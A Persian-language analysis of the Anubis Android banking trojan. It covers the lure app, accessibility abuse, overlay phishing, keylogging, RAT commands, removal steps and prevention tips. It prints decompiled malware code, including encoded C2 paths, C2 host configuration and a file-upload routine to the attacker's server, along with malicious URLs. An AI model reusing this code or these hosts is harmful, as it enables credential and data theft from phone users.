Trojan.Android.Anubis.Banker

شرح کلی

نوع: تروجان (Trojan)
اسامی بدافزار:
Trojan.Android.Anubis.Banker
درجه تخریب: متوسط
میزان شیوع: متوسط

تروجان(Trojan) چیست؟

تروجان‌ها نوعی از بدافزار محسوب می‌شوند که خود را در قالب یک نرم‌افزار سالم و قانونی نشان می‌دهند و بسیار شبیه نرم‌افزارهای مفید و کاربردی رفتار می‌کنند. اما هنگامی ‌که اجرا می‌شوند، خرابی‌های زیادی را برای سیستم ایجاد می‌کنند. نرم‌افزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … از جمله راه‌های ورود تروجان‌ها به سیستم هستند. تروجان‌ها برخلاف ویروس‌ها و کرم‌های کامپیوتری قادر به تکثیر خود نیستند.

خانواده بدافزاری Anubis چیست؟

اپلیکیشن‌های زیادی با عناوین Free 5G ،20GBHediye ،20gb_hediye_internet و … وجود دارند. نمونه‌های این بدافزار با hash‌ های مختلف و URL های آلوده بسیار زیادند. به طور مثال، کاربر این برنامه را با عنوان “20 گیگ هدیه اینترنت” از لینک “http://xn--20gbnternethedyendowland-tvdk.com/20gb_hediye_internet.apk” دریافت می‌کند. بعد از اجرای برنامه، بدافزار برای گرفتن تنظیمات مربوط به سرویس دستیابی (accessibility access services) اقدام می‌کند و بلافاصله بعد از دستیابی به این مهم، آیکون برنامه را مخفی می‌کند و کارهای مخرب بدافزار، در پس زمینه انجام می‌شود. از جمله اقداماتی که در گوشی کاربر صورت می‌گیرند:

۱) دسترسی‌های خطرناکی که این بدافزار از کاربر دریافت می‌کند بسیار زیاد است (به‌ دست آوردن موقعیت مکانی کاربر، وضعیت اینترنت، خواندن لیست مخاطبین، خواندن پیام‌های ورودی و خروجی، ضبط صدا، ارسال و نوشتن پیام و…)
۲) امکان ارسال و دریافت پیام کوتاه
۳) یافتن مختصات جغرافیایی کاربر (GPS)
۴) باز کردن صفحه مشخصی در مرورگر کاربر. آدرس صفحه هدف، از سمت سرور آلوده بدافزار به سمت گوشی کاربر ارسال می‌شود.
۵) لود کردن فایل apk. دیگر به صورت داینامیک و در زمان اجرای برنامه (این کار را برای اهدافی چون نمایش تبیلغات در گوشی کاربر انجام می‌دهد).
۶) keylogging
۷) امکان گرفتن Screenshot از صفحه کلید کاربر
۸) برقراری تماس با شماره‌های مشخصی که از سمت سرور ارسال می‌شوند.
۹) و…

توضیحات فنی

به محض اجرای برنامه، فعالیت دستیابی (activity accessibility) برای گرفتن تنظیمات مربوط به سرویس دستیابی (accessibility access service) فراخوانی می‌شود و تا زمانی که کاربر دسترسی را به برنامه ندهد، این پیغام را به طور مکرر به کاربر نمایش می‌دهد. پیغام نمایش داده شده به زبان “ترکی” بوده و با این مضمون است که در صورتی که می‌خواهید این برنامه برایتان فعال شود، می‌بایست دسترسی دستیابی فعال شود. به محض اینکه کاربر دسترسی را برای برنامه فعال (on) می‌کند، بدافزار بدون هیچ مشکلی کلیه مجوزهای دسترسی که عمدتا خطرناک هستند را برای برنامه خود، با هدف سوء‌استفاده‌های بعدی فعال می‌کند. درنتیجه بررسی داینامیک فایل، می‌توان مشاهده کرد که این بدافزار در زمان اجرا در مسیر data/data یک سری فایل در فولدرهایی به نام زیر رها (drop) می‌کند:

app_apk (۱: در این پوشه یک فایل apk. دیگر وجود دارد که در حین اجرا با استفاده از API ،DexClassLoader توسط فایل اولیه لود می‌شود و بخشی از کارهای مخرب توسط این فایل انجام می‌شوند. همچنین، برای ورژن اندروید ۵ به بالا نیز فایل oat. قرار داده شده و هدف از لود این فایل، نمایش تبلیغات در گوشی کاربر است.

۲) app_outdex: در حین اجرای برنامه، برای API16 ،API26 بررسی می‌کند در صورتی که ورژن اندروید کاربر هر یک از آنها بودند، در این مسیر اگر فایل apk. باشد برای نمایش تبلیغات (show notification) با استفاده از API ،DexClassLoader آن را لود می‌کند. اسم پکیج برنامه‌ای که درخواست برای لود آن را دارد “apps.com.app.utils” است. این کار را با استفاده از یک سرویس جداگانه در برنامه انجام می‌دهد.

shared_prefs (۳: در این بخش فایلی به نام set.xml وجود دارد که فایل پیکربندی برنامه نامیده می‌شود. یعنی بدافزار یک سری دستورات را از این فایل در حین اجرا (داینامیک) می‌خواند و به ازای آنها کدهای مخرب خود را اجرا می‌کند. علت استفاده بدافزار به صورت محلی (local) در حین اجرا این است که امکان دارد این برنامه که به عنوان یک BOT اندرویدی نیز هست، به هر دلیلی نتواند در زمان اجرا ارتباط درستی با سرورهای خود برقرار کند و برای اجرا، دستورات لازم را  از آنها دریافت نماید.
پس از اجرای برنامه، براساس فایل پیکربندی، در صورتی که مقدار “websocket” فراخوانی شود:
این بدافزار با سرور “dedelik.com” یعنی با سرور فرماندهی و کنترل (C&C) خود ارتباط برقرار می‌کند. از POST برای ارسال اطلاعات رمزگذاری شده از گوشی کاربر به آدرس‌های a3.php ،a14.php و a4.php استفاده می‌کند و در پاسخ دستوراتی را برای اجرای کارهای مخرب در گوشی کاربر دریافت می‌نماید.

بلافاصله در صفحه مرورگر کاربر، سایت “https://www.saglik.gov.tr” باز می‌شود، یعنی بدافزار این قابلیت را دارد تا مرورگر کاربر را با URL دریافت شده از سرور فرماندهی و کنترل راه اندازی کند.

 

آدرس سرورهایی که برنامه به آن وصل می‌شود و به واسطه آنها پیغام دریافت کرده و در گوشی کاربر اجرا می‌کند، همگی به صورت کد شده با الگوریتم base64 هستند.

public String fddo(ContextparamContext, StringparamString1, StringparamString2)

{

try

{

if  (jdMethod_catch(paramContext))

{

localint=new oawx.minoxvx.ahlpf.fddo.int();

if (paramString1.equals(jdField_int("MQ==")))

str = jdField_int("L28xby9hMy5waHA=");

if  (paramString1.equals(jdField_int("Mg==")))

str = jdField_int("L28xby9hNC5waHA=");

if  (paramString1.equals(jdField_int("Mw==")))

str = jdField_int("L28xby9hNS5waHA=");

if  (paramString1.equals(jdField_int("NA==")))

str = jdField_int("L28xby9hNi5waHA=");

if  (paramString1.equals(jdField_int("NQ==")))

str = jdField_int("L28xby9hNy5waHA=");

if  (paramString1.equals(jdField_int("Ng==")))

str = jdField_int("L28xby9hOC5waHA=");

if  (paramString1.equals(jdField_int("Nw==")))

str = jdField_int("L28xby9hOS5waHA=");

if  (paramString1.equals(jdField_int("MTA=")))

str = jdField_int("L28xby9hMTAucGhw");

if  (paramString1.equals(jdField_int("MTE=")))

str = jdField_int("L28xby9hMTEucGhw");

if  (paramString1.equals(jdField_int("MTI=")))

str = jdField_int("L28xby9hMTIucGhw");

if  (paramString1.equals(jdField_int("MTM=")))

str = jdField_int("L28xby9hMTMucGhw");

if  (paramString1.equals(jdField_int("MTQ=")))

str = jdField_int("L28xby9hMTQucGhw");

if  (paramString1.equals(jdField_int("MTU=")))

str = jdField_int("L28xby9hMTUucGhw");

if  (paramString1.equals(jdField_int("MjU=")))

str=jdField_int("L28xby9hMjUucGhw");

}

}

catch(ExceptionparamContext)

{

try

{

oawx.minoxvx.ahlpf.fddo.intlocalint;

Stringstr;

paramString1=fddo(paramContext,jdField_int("dXJs"));

paramContext=paramString1;

if (paramString1 == null)

paramContext=this.fddo.jdField_for;

paramString1=newStringBuilder();

paramString1.append(paramContext);

paramString1.append(str);

return localint.fddo(paramString1.toString(), paramString2);

label372:fddo(jdField_int("RVJST1I="),jdField_int("Q2xhc3MgVXRpbHNDbGFzcywgUE9TVCAtPiBVUkw="));

return null;

paramContext=jdField_int("PHRhZz48L3RhZz4=");

return paramContext;

while (true)

{

return jdField_int("PHRhZz48L3RhZz4=");

paramContext=paramContext;

}

}

catch(ExceptionparamContext)

{

break label372;

}

}

}

اسامی سرورها به شرح زیر است و اینکه در هر مرحله با توجه به نوع کار به کدام سرور اطلاعات ارسال و از آن دریافت شود، بستگی به مقدار “jdField_int” دارد که از کلاس “ifdf” فراخوانی می‌شود.

• jdField_int = 1 ::/o1o/a3.php
• jdField_int = 2 ::/o1o/a4.php
• jdField_int = 3 ::/o1o/a6.php
• jdField_int = 4 ::/o1o/a6.php
• jdField_int = 5 ::/o1o/a7.php
• jdField_int = 6 ::/o1o/a8.php
• jdField_int = 7 ::/o1o/a9.php
• jdField_int = 10 ::/o1o/a10.php
• jdField_int = 11 ::/o1o/a11.php
• jdField_int = 12 ::/o1o/a12.php
• jdField_int = 13 ::/o1o/a13.php
• jdField_int = 14 ::/o1o/a14.php
• jdField_int = 15 ::/o1o/a15.php
• jdField_int = 25 ::/o1o/a25.php

علاوه بر اینکه فایل پیکربندی بدافزار به نام set.xml در مسیر data/data/shared_prefs وجود دارد و از آن در حین اجرای بدافزار استفاده می‌شود، دسته‌ای از دستورات مازاد به صورت هارد کد شده در کد برنامه وجود دارند. چند دستور خطرناک موجود در فایل پیکربندی و کد برنامه در زیر آمده است که توانایی جاسوسی و استخراج اطلاعات مهم شخصی را از دستگاه آلوده دارند:

• keylogger: دزدی اطلاعات کلیدهای فشرده شده از صفحه کلید کاربر
• Gps: موقعیت مکانی کاربر را مشخص می‌کند.
• spamSMS: ارسال smsهای spam شده
• VNC_Start_New
• startRecordingSound: ضبط صدا
• htmllocker: صفحه مربوط به نمایش باج خواهی بعد از رمزکردن فایل‌ها را نمایش می‌دهد (کد این بخش در این نمونه بدافزار غیرفعال است).
• urlInj: برای شروع یک صفحه وب در مرورگر کاربر است.
• textPlayProtect: یکی از دستورات textPlayProtect است و مقدار موجود در آن برابر با رشته “سیستم به درستی کار نمی‌کند، لطفاً Google Play Protect را غیرفعال کنید” است.

!” (The system is not working properly, please disable Google Play Protect!)

بدافزارنویس زمانی که بخواهد اقدامی برای فعال کردن Play Protect انجام دهد، هشدارهایی را به کاربر نمایش می‌دهد. زیرا یکی از عملکردهای بدافزار، غیرفعال کردن این سرویس برای عدم شناسایی بدافزار برروی گوشی کاربر است. به همین دلیل، ابتدا زبان گوشی کاربر را چک می‌کند و امکان نمایش این پیغام را به چندین زبان مختلف دارد. زبان‌هایی که پیغام ارسالی را نمایش می‌دهند شامل موارد زیر هستند:

 

[(Russia (RU), United States (US),Turkish (TR),German (DE),Italy (IT),France (FR),Ukraine (UA ]

public void setSharedPreferences(Contextcontext){

if (VERSION.SDK_INT >= 19) {

this.setSharedPreference(context, "swspacket",

Sms.getDefaultSmsPackage(context).toString());

} else  {

this.setSharedPreference(context, "swspacket", "");

}

this.setSharedPreference(context, "VNC_Start_NEW",

"http://ktosdelaetskrintotpidor.com");

this.setSharedPreference(context,"Starter",

"http://sositehuypidarasi.com");

this.setSharedPreference (context, "time_work", "0");

this.setSharedPreference (context, "time_start_permission", "0");

StringBuildervar2 = newStringBuilder() ;

var2.append("") ;

this.constants.getClass() ;

var2.append("http://update-apk.net".replace(" ",""));

this.setSharedPreference(context,"urls",var2.toString());

var2=newStringBuilder();

var2.append("");

this.constants.getClass();

var2.append("".replace(" ",""));

this.setSharedPreference(context,"urlInj",var2.toString());

var2=newStringBuilder();

var2.append("");

this.constants.getClass();

var2.append(10000);

this.setSharedPreference(context,"interval",var2.toString());

this.setSharedPreference(context,"name","false");

this.setSharedPreference(context,"perehvat_sws","false");

this.setSharedPreference(context,"del_sws","false");

this.setSharedPreference(context,"network","false");

this.setSharedPreference(context,"gps","false");

this.setSharedPreference(context,"madeSettings","1 2 3 4 5 6 7 8 9 10 11 12 13 ");

this.setSharedPreference(context,"RequestINJ","");

this.setSharedPreference(context,"RequestGPS","");

this.setSharedPreference(context,"save_inj","");

this.setSharedPreference(context,"SettingsAll","");

this.setSharedPreference(context,"getNumber","false");

this.setSharedPreference(context,"dateCJ","");

this.setSharedPreference(context,"iconCJ","0:0");

this.setSharedPreference(context,"str_push_fish","");

this.setSharedPreference(context,"timeStartGrabber","");

this.setSharedPreference(context,"checkStartGrabber","0");

this.setSharedPreference(context,"startRequest","Access=0Perm=0");

this.setSharedPreference(context,"StringPermis","");

this.setSharedPreference(context,"StringActivate","activate");

this.setSharedPreference(context,"StringAccessibility","Enable access for");

this.setSharedPreference(context,"StringYes","");

this.setSharedPreference(context,"uninstall1","");

this.setSharedPreference(context,"uninstall2","");

this.setSharedPreference(context,"vkladmin","");

this.setSharedPreference(context,"websocket","");

this.setSharedPreference(context,"vnc","start");

this.setSharedPreference(context,"sound","start");

this.setSharedPreference(context,"straccessibility","");

this.setSharedPreference(context,"straccessibility2","");

this.setSharedPreference(context,"findfiles","");

this.setSharedPreference(context,"foregroundwhile","");

this.setSharedPreference(context,"cryptfile","false");

this.setSharedPreference(context,"status","");

this.setSharedPreference(context,"key","");

this.setSharedPreference(context,"htmllocker","");

this.setSharedPreference(context,"lock_amount","");

this.setSharedPreference(context,"lock_btc","");

this.setSharedPreference(context,"keylogger","");

this.setSharedPreference(context,"recordsoundseconds","0");

this.setSharedPreference(context,"startRecordSound","stop");

this.setSharedPreference(context,"play_protect","");

this.setSharedPreference(context,"textPlayProtect","");

this.setSharedPreference(context,"buttonPlayProtect","");

this.setSharedPreference(context,"spamSMS","");

this.setSharedPreference(context,"textSPAM","");

this.setSharedPreference(context,"indexSMSSPAM","");

this.setSharedPreference(context,"DexSocksMolude","");

this.setSharedPreference(context,"lookscreen","");

this.setSharedPreference(context,"step","0");

this.setSharedPreference(context,"id_windows_bot","");

...

}

از جمله اقدامات دیگر این بدافزار:

• به دست آوردن لیست فایل‌های گوشی کاربر

در واقع لیست تمام پوشه‌ها و فایل‌های داخل آنها را به دست می‌آورد و به سرور خود ارسال می‌کند (این بخش را احتمالا برای قسمت باج‌گیری خود انجام می‌دهد که در این نمونه، غیر فعال است).

• امکان ارسال و دریافت پیام کوتاه توسط برنامه

برای اینکه برنامه شما در تنظیمات سیستم به عنوان یک برنامه پیش فرض پیام کوتاه واجد شرایط ظاهر شود، در فایل مانیفست (manifest) شما باید برخی قابلیت‌های خاص تعریف شده باشد مثلا:

• “oawx.minoxvx.ahlpf.Receiver.ReceiverMms”: در یک جزء دریافت کننده (component receiver) بایستی از یک intent-filter به نام SMS_DELIVER_ACTION استفاده شده باشد که به برنامه این اجازه را می‌دهد تا مستقیماً “پیامک‌های دریافتی“ در گوشی کاربر را دریافت کند. تمام پیام‌های دریافتی از گوشی کاربر با جزئیات (شماره و متن پیام) خوانده می‌شوند.
• “oawx.minoxvx.ahlpf.Receiver.RecieverPushService”: در یک جزء دریافت کننده (component receiver) بایستی از یک intent-filter به نام WAP_PUSH_DELIVER_ACTION استفاده شود و همچنین type برای (“MIME (“application/vnd.wap.mms-message هم مشخص باشد که به برنامه این اجازه را می‌دهد تا “پیام‌های MMS ورودی“ را مستقیماً دریافت کند.
• فعالیت oawx.minoxvx.ahlpf.SendSms: به واسطه استفاده از یک intent-filter به نام BROWSABLE که باعث می‌شود کاربر هنگامی که در حال باز کردن یک برنامه پیام رسان متنی مانند sms ،smsto ،mms ،mmsto است، این اپلیکیشن نیز به او پیشنهاد داده شود. پس برای “ارسال پیام“ در این بخش استفاده می‌شود.
• سرویس oawx.minoxvx.ahlpf.ServiceHeadlessSmsSend: به واسطه استفاده از یک intent-filter به نام (“ACTION_RESPONSE_VIA_MESSAGE(“android.intent.action.RESPOND_VIA_MESSAGE با الگوهای (sms:, smsto:, mms:,mmsto:). که به کاربران این امکان را می‌دهد تا به تماس‌های تلفنی ورودی با پیام متنی فوری با استفاده از برنامه شما پاسخ دهند.

<receiverandroid:name="oawx.minoxvx.ahlpf.Receiver.ReceiverMms"android:permission="android.permission.BROADCAST_SMS">

<intent-filter>

<actionandroid:name="android.provider.Telephony.SMS_DELIVER"/>

</intent-filter>

</receiver>

<receiverandroid:enabled="true"android:name="oawx.minoxvx.ahlpf.Receiver.RecieverPushService"android:permission="android.permission.BROADCAST_WAP_PUSH">

<intent-filter>

<actionandroid:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>

<dataandroid:mimeType="application/vnd.wap.mms-message"/>

</intent-filter>

</receiver>

<activityandroid:name="oawx.minoxvx.ahlpf.SendSms">

<intent-filter>

<actionandroid:name="android.intent.action.SEND"/>

<actionandroid:name="android.intent.action.SENDTO"/>

<dataandroid:scheme="sms"/>

<dataandroid:scheme="smsto"/>

<dataandroid:scheme="mms"/>

<dataandroid:scheme="mmsto"/>

<categoryandroid:name="android.intent.category.DEFAULT"/>

<categoryandroid:name="android.intent.category.BROWSABLE"/>

</intent-filter>

</activity>

<serviceandroid:exported="true"android:name="oawx.minoxvx.ahlpf.ServiceHeadlessSmsSend"android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">

<intent-filter>

<actionandroid:name="android.intent.action.RESPOND_VIA_MESSAGE"/>

<categoryandroid:name="android.intent.category.DEFAULT"/>

<dataandroid:scheme="sms"/>

<dataandroid:scheme="smsto"/>

<dataandroid:scheme="mms"/>

<dataandroid:scheme="mmsto"/>

</intent-filter>

</service>

• پیگیری موقعیت مکانی

به دست آوردن طول و عرض جغرافیایی برای یافتن مختصات GPS. موقعیت مکانی کاربر یا جایی که حضور دارد از جمله آدرس، عرض جغرافیایی و طول جغرافیایی را می‌تواند به دست آورد.

• کلاهبرداری در بانکداری الکترونیکی

یکی از کارهای مخرب این بدافزار، مربوط به کلاهبرداری در بانکداری الکترونیکی است. به همین منظور لیست بزرگی از برنامه‌های بانکداری الکترونیکی را در برنامه خود چک می‌کند که همگی به صورت دو لایه و با الگوریتم کدینگ base64 رمز شده‌اند.
با استفاده از (API ،(getInstalledApplications لیست ۱۲۸ برنامه بانکی مدنظر خود را با لیست تمام برنامه‌های نصب شده گوشی کاربر چک می‌کند. این بدافزار بیش از 100 برنامه را ردیابی می‌کند و قابلیت نمایش صفحه جعلی برای سرقت مدارک معتبر را دارد. اکثر برنامه‌ها، برنامه‌های بانکی هستند و به طور کلی در دسته‌های زیر قرار می‌گیرند:
Shopping: خرید کردن
Banking: بانکداری
Stock Trading: معاملات سهام

هدف بدافزارنویس این است که با چک کردن پردازه‌های در حال اجرا در پس زمینه، در صورتی که پردازه مربوط به هر یک از برنامه‌های هدفمند در حال اجرا باشد، آنها را شناسایی کند. پس از راه‌اندازی یکی از برنامه‌های هدفمند با استفاده از تکنینک Overlay attacks and Android Accessibility Services، فرم جعلی ورود به سیستم را به منظور فیشینگ اطلاعات محرمانه کاربر از طریق پنجره خود نمایش می‌دهد و در آنجا از کاربر می‌خواهد نام کاربری‌، رمز عبور و سایر داده‌های حساس را وارد کند. صفحه مربوطه توسط سرور فرماندهی و کنترل ارسال می‌شود و بدافزار می‌تواند همه برنامه‌هایی را که در حال حاضر در گوشی نصب هستند، دریافت کند. این مهم، به لطف مجوز PACKAGE_USAGE_STATS که کاربر به آن داده، انجام می‌شود.
BankBot Anubis از خدمات قابلیت دسترسی اندروید (Android Accessibility Services) برای انجام keylogging به عنوان راهی برای به دست آوردن اطلاعات کارت اعتباری کاربر، هنگام دسترسی به یک برنامه هدفمند بانکداری موبایل استفاده می‌کند. در اکثر تروجان‌های بانکی اندروید، با دسترسی کاربر به یک برنامه هدف، بدافزار از صفحه نمایش جعلی (fake overlay screen) برای دستیابی به اطلاعات کاربر استفاده می‌کند.

Accessibility Services

این سرویس در پس زمینه اجرا می‌شود و callback هایی که از سمت سیستم عامل اندروید توسط AccessibilityEvents ارسال می‌شود را دریافت می‌کند. این رخدادها (Event) درواقع همان تعاملاتی هستند که کاربر با سیستم برقرار می‌کند؛ مانند زمانی که Focuse صفحه نمایش تغییر می‌کند، دکمه‌ای کلیک می‌شود و …
برای دستیابی به چنین خدماتی، باید امکانی باشد که توانایی پرس و جو از محتوای پنجره فعال (active window) را درخواست کند. به همین واسطه، فعالیت‌های کاربر را می‌تواند ردیابی کند و توانایی جستجو در مواردی مانند message Box ها را داشته باشد. هر رویداد دستیابی (AccessibilityEvents) دارای مؤلفه منبع است که تعریف می‌کند کدام برنامه باعث وقایع فعلی شده است. مثلا انواع مختلف استفاده شده که در بدافزار Anubis وجود دارند شامل:

TYPE_VIEW_CLICKED .۱

TYPE_VIEW_FOCUSED .۲

TYPE_VIEW_TEXT_CHANGED .۳

TYPE_WINDOW_STATE_CHANGED .۴

 

• Screen Capture

همچنین، این بدافزار امکان گرفتن عکس از صفحه کلید کاربر زمانی که در حال وارد کردن اطلاعات کارت اعتباری یا مشخصات خود در برنامه‌های ذکر شده است را دارد.

لیست برنامه‌ها:

نام برنامه	package name
VK — live chatting & free calls	com.vkontakte.android
Bankia	es.cm.android
Ba3nkia Wallet	com.bankia.wallet
Best Buy	com.bestbuy.android
SantanderSign	mobile.santander.de
ebay	com.ebay.mobile
Kuveyt Türk	com.kuveytturk.mobil
Odeabank	com.magiclick.odeabank
Papara	com.mobillium.papara
CEPTETEB	com.teb
VakıfBank Mobil Bankacılık	com.vakifbank.mobile
ŞEKER MOBİL ŞUBE	tr.com.sekerbilisim.mbank
Akbank	com.akbank.android.apps.akbank_direkt
Akbank	com.akbank.android.apps.akbank_direkt_tablet
Akbank Direkt Şifreci	com.akbank.softotp
Akbank	com.akbank.android.apps.akbank_direkt_tablet_20
Akbank Sanat	com.fragment.akbank
Yapı Kredi Mobile	com.ykb.android
Yapı Kredi Corporate-For Firms	com.ykb.android.mobilonay
Yapı Kredi Cüzdan	com.ykb.avm
Yapı Kredi Mobil Şube	com.ykb.androidtablet
YapıKredi Azərbaycan MobilBank	com.veripark.ykbaz
ÇEKSOR	com.softtech.iscek
JSC İŞBANK	com.yurtdisi.iscep
İşTablet	com.softtech.isbankasi
ISBANK Online	com.monitise.isbankmoscow
QNB Finansbank Cep Şubesi	com.finansbank.mobile.cepsube
Enpara.com Cep Şubesi	finansbank.enpara
FinansPOS	com.magiclick.FinansPOS
QNB Finansinvest	com.matriksdata.finansyatirim
Enpara.com Şirketim Cep Şubesi	finansbank.enpara.sirketim
QNB Mobile	com.vipera.ts.starter.QNB
QNB National Day	com.redrockdigimark
Garanti Mobile Banking	com.garanti.cepsubesi
Garanti CepBank	com.garanti.cepbank
GarantiBank	com.garantibank.cepsubesiro
Garanti Cep Şifrematik	biz.mobinex.android.apps.cep_sifrematik
Garanti FX Trader	com.garantiyatirim.fx
Halkbank Mobil	com.tmobtech.halkbank
Halkbank Şifrebaz Cep	com.SifrebazCep
Halkbank Mobile App	eu.newfrontier.iBanking.mobile.Halk.Retail
Halk Trade	tr.com.tradesoft.tradingsystem.gtpmobile.halk
Halkbank Nerede	com.DijitalSahne.EnYakinHalkbank
Ziraat Mobil	com.ziraat.ziraatmobil
Ziraat Tablet	com.ziraat.ziraattablet
Ziraat Trader	com.matriksmobile.android.ziraatTrader
Ziraat Trader HD	com.matriksdata.ziraatyatirim.pad
PayPal Cash App: Send and Request Money Fast	com.paypal.android.p2pmobile
NETELLER – fast, secure and global money transfers	com.moneybookers.skrillpayments.neteller
Skrill – Fast, secure online payments	com.moneybookers.skrillpayments
ING Bankieren	com.ing.mobile
İşCep	com.pozitron.iscep
VakıfBank Cep Şifre	com.pozitron.vakifbank
BtcTurk Bitcoin Borsası	com.btcturk
Albaraka Mobil Şube	com.pozitron.albarakaturk
Binance – Cryptocurrency Exchange	com.binance.dev
Binance: Cryptocurrency & Bitcoin Exchange	com.binance.odapplications
Blockfolio – Bitcoin and Cryptocurrency Tracker	com.blockfolio.blockfolio
Crypto App – Widgets, Alerts, News, Bitcoin Prices	com.crypter.cryptocyrrency
Delta – Bitcoin & Cryptocurrency Portfolio Tracker	io.getdelta.android
My CryptoCoins Portfolio – All Coins	com.edsoftapps.mycoinsvalue
Coin Profit	com.coin.profit
Coin Market-Bitcoin Prices,Currencies,BTC,EUR,ICO	com.mal.saul.coinmarketcap
Coin Portfolio for Bitcoin & Altcoin tracker	com.tnx.apps.coinportfolio
Coinbase – Buy Bitcoin & more. Secure Wallet	com.coinbase.android
Coinbase Tracker (3rd party)	com.portfolio.coinbase_tracker
Bitcoin Wallet	de.schildbach.wallet
Blockchain Wallet. Bitcoin, Bitcoin Cash, Ethereum	piuk.blockchain.android
Blockchain Merchant	info.blockchain.merchant
Bitcoin Blockchain Explorer	com.jackpf.blockchainsearch
Unocoin Wallet	com.unocoin.unocoinwallet
Unocoin Merchant PoS	com.unocoin.unocoinmerchantPoS
UNOCOIN LIVE	com.thunkable.android.santoshmehta364.UNOCOIN_LIVE
Zebpay Calculator – Profit/Loss Management	wos.com.zebpay
LocalBitCoins Official	com.localbitcoinsmbapp
LocalBitCoins	com.thunkable.android.manirana54.LocalBitCoins
UNBLOCK Local BitCoins	com.thunkable.android.manirana54.LocalBitCoins_unblock
LocalBitcoins – Buy and sell Bitcoin	com.localbitcoins.exchange
LocalBitCoins	com.coins.bit.local
LocalBitCoins NEW	com.coins.ful.bit
Local BitCoin	com.jamalabbasii1998.localbitcoin
Zebpay Bitcoin and Cryptocurrency Exchange	zebpay.Application
Zebpay India	com.bitcoin.ss.zebpayindia
Jaxx Blockchain Wallet	com.kryptokit.jaxx

• (Remote Access Trojan (RAT

این بدافزار دارای قابلیت RAT است و می‌تواند به مهاجم اجازه دهد دستوراتی را صادر کند و دستگاه آلوده را از راه دور کنترل کند. بدافزار یک سرویس جداگانه به نام ServiceRAT برای تحقق اهداف زیر دارد:

Opendir: لیست تمام فایل‌های موجود در subfolder ها و دایرکتوری‌ها را به سمت سرور ارسال می‌کند.
downloadfile: ارسال فایل به سمت سرور بدافزار
deletefilefolder: پاک کردن یک فایل یا فولدری مشخص در گوشی کاربر
startscreenVNC:  ارسال screenshot از گوشی کاربر به سمت سرور بدافزار به ازای هر نیم ثانیه
stopscreenVNC
startsound: ضبط ویدیو (recording audio)
noconnection: متوقف کردن سرویس مربوطه

if (command.contains("downloadfile:")) {

command=command.replace("downloadfile:","").split("!!!!")[0];

this.functions.deletedLoggingFunction("file",command);

try{

this.functions.sendFile(this,command,"","getfiles[]");

httpConnector=this.httpConnector;

var4=newStringBuilder();

var4.append(var3);

this.constants.getClass();

var4.append("/o1o/a2.php");

Stringvar24=var4.toString();

data=newStringBuilder();

data.append("tuk_tuk=");

Functionsfunctions3=this.functions;

var4=newStringBuilder();

var4.append(this.a);

var4.append("|:|!!!refreshfilefolder!!!");

data.append(functions3.encode(var4.toString()));

httpConnector.doRequest(var24,data.toString());

}catch(Exceptionvar11){

functions2=this.functions;

command="error sender";

break;

}

روش مقابله و پاک‌سازی سیستم

بدافزار Anubis تمام رویدادهای دسترسی (AccessibilityEvents) را بررسی می‌کند. اگر صفحه‌ای توسط کاربر باز شود، به واسطه آن رخداد TYPE_WINDOW_STATE_CHANGED به برنامه ارسال می‌شود و در این زمان است که در کد برنامه چک می‌کند آیا پنجره باز شده مربوط به سرویس برنامه خودش (AAS) و نیز برنامه تنظیمات (setting) هست یا نه. بلافاصله شرط‌های زیر بررسی می‌شوند:
۱) event مربوط به باز شدن پنجره ناشی از برنامه com.android.settings و یا سرویس فعال برنامه (accessibility service) هست یا خیر.
۲) بدافزار یک سری رشته‌های مشخص را در بخش توصیفات رخداد (Event description) چک می‌کند:

• Uninstall
• to remove

در این دو حالت، کاربر بلافاصله به صفحه Homescreen ارجاع داده می‌شود و برنامه‌های مربوطه بسته می‌شوند یعنی از settings. از آنجایی که به صورت عادی نمی‌توان اپلیکیشن را حذف کرد، راهکارهای زیر برای پاک کردن برنامه آلوده از روی گوشی وجود دارند:

۱) یک برنامه application manager دیگر غیر از برنامه settings که روی گوشی به صورت نرمال هست را نصب کرده تا بتوان با آن سرویس، برنامه را kill و بعد uninstall کرد.
۲) در حالت safe mode بالا آمده و از لیست برنامه‌های در حال اجرا، برنامه را غیرفعال و حذف کرد.
3) با استفاده از ابزار adb به گوشی متصل شده و با داشتن نام پکیج برنامه “oawx.minoxvx.ahlpf” و با دستور “adb uninstall packagename” آن را از گوشی حذف کرد.

برای اطمینان خاطر از عدم آلودگی دستگاه، آنتی‌ویروس پادویش را نصب و فایل پایگاه داده آن را به‌روز نگه دارید و اسکن آنتی ویروس را انجام دهید.

روش‌های پیشگیری از آلوده شدن گوشی:

از دانلود و نصب برنامه از منابع و مارکت‌های موبایلی نامعتبر خودداری کنید.

۱. هنگام نصب برنامه‌های موبایلی، به مجوزهای درخواستی دقت کنید.

۲. از فایل‌ها و اطلاعات ذخیره شده در گوشی، پشتیبان‌گیری مداوم انجام دهید.

۳. از نسخه‌های غیررسمی برنامه‌ها استفاده نکنید. برنامه‌هایی مانند تلگرام و اینستاگرام نسخه‌های غیررسمی زیادی دارند و بیشتر آنها از طریق کانال‌های تلگرامی انتشار می‌یابند.